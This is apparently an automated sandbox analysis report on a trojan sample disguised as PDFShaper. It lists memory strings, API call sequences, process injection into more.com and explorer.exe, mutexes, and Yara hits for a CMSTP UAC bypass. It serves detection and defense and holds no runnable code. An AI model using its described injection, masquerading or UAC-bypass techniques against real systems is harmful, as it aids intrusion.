Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0L
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: http://sha256timestamp.ws.symantec.com/sha256/timestamp
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: http://sha256timestamp.ws.symantec.com/sha256/timestampNhttps://ca.signfiles.com/TSAServer.aspx
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2155388747.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, logioptionsplus_updater.exe, 00000007.00000002.2300803784.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, logioptionsplus_updater.exe, 0000000B.00000002.2718351383.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.aiim.org/pdfa/ns/extension/
Source: logioptionsplus_updater.exe, 00000007.00000002.2300803784.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.aiim.org/pdfa/ns/id/
Source: logioptionsplus_updater.exe, 0000000B.00000002.2718351383.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.aiim.org/pdfa/ns/id/&4D
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2155388747.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.aiim.org/pdfa/ns/id/ndows.
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2155388747.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, logioptionsplus_updater.exe, 00000007.00000002.2300803784.00000000011DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.aiim.org/pdfa/ns/property#
Source: logioptionsplus_updater.exe, 0000000B.00000002.2718351383.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.aiim.org/pdfa/ns/property#HR
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2155388747.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, logioptionsplus_updater.exe, 00000007.00000002.2300803784.00000000011DE000.00000004.00000020.00020000.00000000.sdmp, logioptionsplus_updater.exe, 0000000B.00000002.2718351383.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.aiim.org/pdfa/ns/schema#
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004A09000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.00000000045BE000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.00000000045BC000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E38000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.000000000517D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.info-zip.org/
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: http://www.pdfshaper.com/buy.htmlopenU
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: http://www.pdfshaper.com/download.htmlopen
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: http://www.pdfshaper.com/update.verU
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: http://www.pdfshaper.comP
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: http://www.pdfshaper.comopen
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.vmware.com/0/
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: http://www.winsoft.skU
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: http://www.xfa.org/schema/xfa-data/1.0/
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: http://www.xfa.org/schema/xfa-template/
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: http://xml.org/sax/properties/declaration-handler
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: http://xml.org/sax/properties/lexical-handler
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: https://ca.signfiles.com/TSAServer.aspx
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000001.00000002.2419731419.0000000004607000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000C.00000002.2933275124.0000000004605000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.3581871941.0000000004E81000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2934162913.00000000051C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	String found in binary or memory: https://www.winsoft.sk

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_007661F0 Sleep,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegQueryInfoKeyW,RegEnumValueA,RegCloseKey,GdiplusStartup,GetDC,RegGetValueA,RegGetValueA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,RegGetValueA,GetSystemMetrics,GetSystemMetrics,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,SelectObject,DeleteObject,DeleteObject,DeleteObject,ReleaseDC,GdipDisposeImage,GdiplusShutdown,GetUserNameA,LookupAccountNameA,GetSidIdentifierAuthority,GetSidSubAuthorityCount,GetSidSubAuthority,GetSidSubAuthority,

14_2_007661F0

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.5Z1WFRMTOXRH6X21Z8NU8.exe.4c60a8f.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 1.2.more.com.4652b57.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 16.2.explorer.exe.5211b57.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.2.5Z1WFRMTOXRH6X21Z8NU8.exe.4c6168f.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 1.2.more.com.460da8a.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 14.2.explorer.exe.4eccb57.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 7.2.logioptionsplus_updater.exe.115bf58.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.more.com.4650b57.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.more.com.460ba8a.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 14.2.explorer.exe.4e87a8a.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0.2.5Z1WFRMTOXRH6X21Z8NU8.exe.4c1b9c2.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 14.2.explorer.exe.4ecd757.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 1.2.more.com.4653757.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 12.2.more.com.4651757.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 16.2.explorer.exe.5212757.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 16.2.explorer.exe.51cca8a.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 7.2.logioptionsplus_updater.exe.115bf58.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe

Code function: 0_2_00799962 NtQuerySystemInformation,

0_2_00799962

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_007661F0	14_2_007661F0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_0076B700	14_2_0076B700
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_007D80EA	14_2_007D80EA
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_007651A0	14_2_007651A0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_0078F3EB	14_2_0078F3EB
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_0079C467	14_2_0079C467
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_00765450	14_2_00765450
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_0078B4B0	14_2_0078B4B0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_007A1679	14_2_007A1679
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_00792930	14_2_00792930
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_007A5A76	14_2_007A5A76
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_007D8A00	14_2_007D8A00
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_007A5B96	14_2_007A5B96
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_0079CC09	14_2_0079CC09
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_007A3DE9	14_2_007A3DE9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_00764EF0	14_2_00764EF0

Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 00789D11 appears 60 times
Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 0078A560 appears 50 times
Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 00783F40 appears 136 times

Source: 5Z1WFRMTOXRH6X21Z8NU8.exe

Static PE information: invalid certificate

Source: 5Z1WFRMTOXRH6X21Z8NU8.exe

Static PE information: Number of sections : 11 > 10

Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2170108077.00000000055DD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 5Z1WFRMTOXRH6X21Z8NU8.exe
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2164119110.00000000047FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs 5Z1WFRMTOXRH6X21Z8NU8.exe
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe, 00000000.00000002.2166140131.0000000004C15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamezip.exe( vs 5Z1WFRMTOXRH6X21Z8NU8.exe
Source: 5Z1WFRMTOXRH6X21Z8NU8.exe	Binary or memory string: OriginalFilenamePDFShaper.exe6 vs 5Z1WFRMTOXRH6X21Z8NU8.exe

Source: 5Z1WFRMTOXRH6X21Z8NU8.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 0.2.5Z1WFRMTOXRH6X21Z8NU8.exe.4c60a8f.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 1.2.more.com.4652b57.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.explorer.exe.5211b57.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.2.5Z1WFRMTOXRH6X21Z8NU8.exe.4c6168f.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 1.2.more.com.460da8a.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 14.2.explorer.exe.4eccb57.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 7.2.logioptionsplus_updater.exe.115bf58.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.more.com.4650b57.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.more.com.460ba8a.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 14.2.explorer.exe.4e87a8a.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0.2.5Z1WFRMTOXRH6X21Z8NU8.exe.4c1b9c2.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 14.2.explorer.exe.4ecd757.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 1.2.more.com.4653757.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 12.2.more.com.4651757.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.explorer.exe.5212757.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.explorer.exe.51cca8a.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 7.2.logioptionsplus_updater.exe.115bf58.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@13/7@3/1

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_0076E8D0 GetUserNameA,CoInitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,GetLocalTime,CoUninitialize,

14_2_0076E8D0

Source: C:\Windows\SysWOW64\more.com

File created: C:\Users\user\AppData\Roaming\LogiOptionsPlus

Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\f5a43204a66445ad0e09c0db80eb910b
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8160:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7372:120:WilError_03

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe

File created: C:\Users\user\AppData\Local\Temp\9c813d63

Jump to behavior

Source: Yara match	File source: 5Z1WFRMTOXRH6X21Z8NU8.exe, type: SAMPLE
Source: Yara match	File source: 0.0.5Z1WFRMTOXRH6X21Z8NU8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1730888199.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2156540910.000000000394F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
